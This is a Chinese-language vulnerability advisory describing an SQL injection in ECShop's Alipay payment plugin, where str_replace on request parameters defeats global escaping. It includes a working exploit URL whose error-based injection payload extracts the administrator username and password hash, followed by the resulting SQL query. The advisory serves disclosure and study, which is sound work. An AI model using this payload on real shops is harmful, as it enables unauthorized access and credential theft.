ECShop支付宝插件SQL注入漏洞

- AV AC AU C I A
发布: 2025-04-13
修订: 2025-04-13

### 0x01 在 \includes\modules\payment\alipay.php 文件中,有一个 response 函数用来处理支付信息,在 ECSHOP 的 init 初始化文件中,默认是做了全局转义的,而这个漏洞的精髓在于绕过全局转义。 ![](https://images.seebug.org/contribute/6b70fa63-32ab-4ed0-8d00-d6296f7131d9-5617392720130220173615068_640.jpg) 在 $order_sn = str_replace($_GET['subject'], '', $_GET['out_trade_no']); 中,使用 str_replace 函数对 $_GET[out_trade_no] 中的内容进行替换,替换内容和原字符串都是可控的,所以我们就可以将 $_GET[out_trade_no] 中的反斜杠做替换,从而绕过单引号。 最终 $order_sn 变量被带入 check_money() 函数,跟进 check_money(): 这里看到, $order_sn 被带入了数据库进行查询,造成了注入漏洞。 ### 0x02 EXP : 127.0.0.1/ecshop/upload/respond.php?code=alipay&subject=0&out_trade_no=%00' and (select * from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b)%23 打印出 SQL 语句: SELECT order_amount FROM `ecshop1`.`ecs_pay_log` WHERE log_id = '\\' and (select * from (select count(*),concat(floor(rand()*2),(select concat(user_name,password) from ecs_admin_user limit 1))a from...

0%
暂无可用Exp或PoC
当前有0条受影响产品信息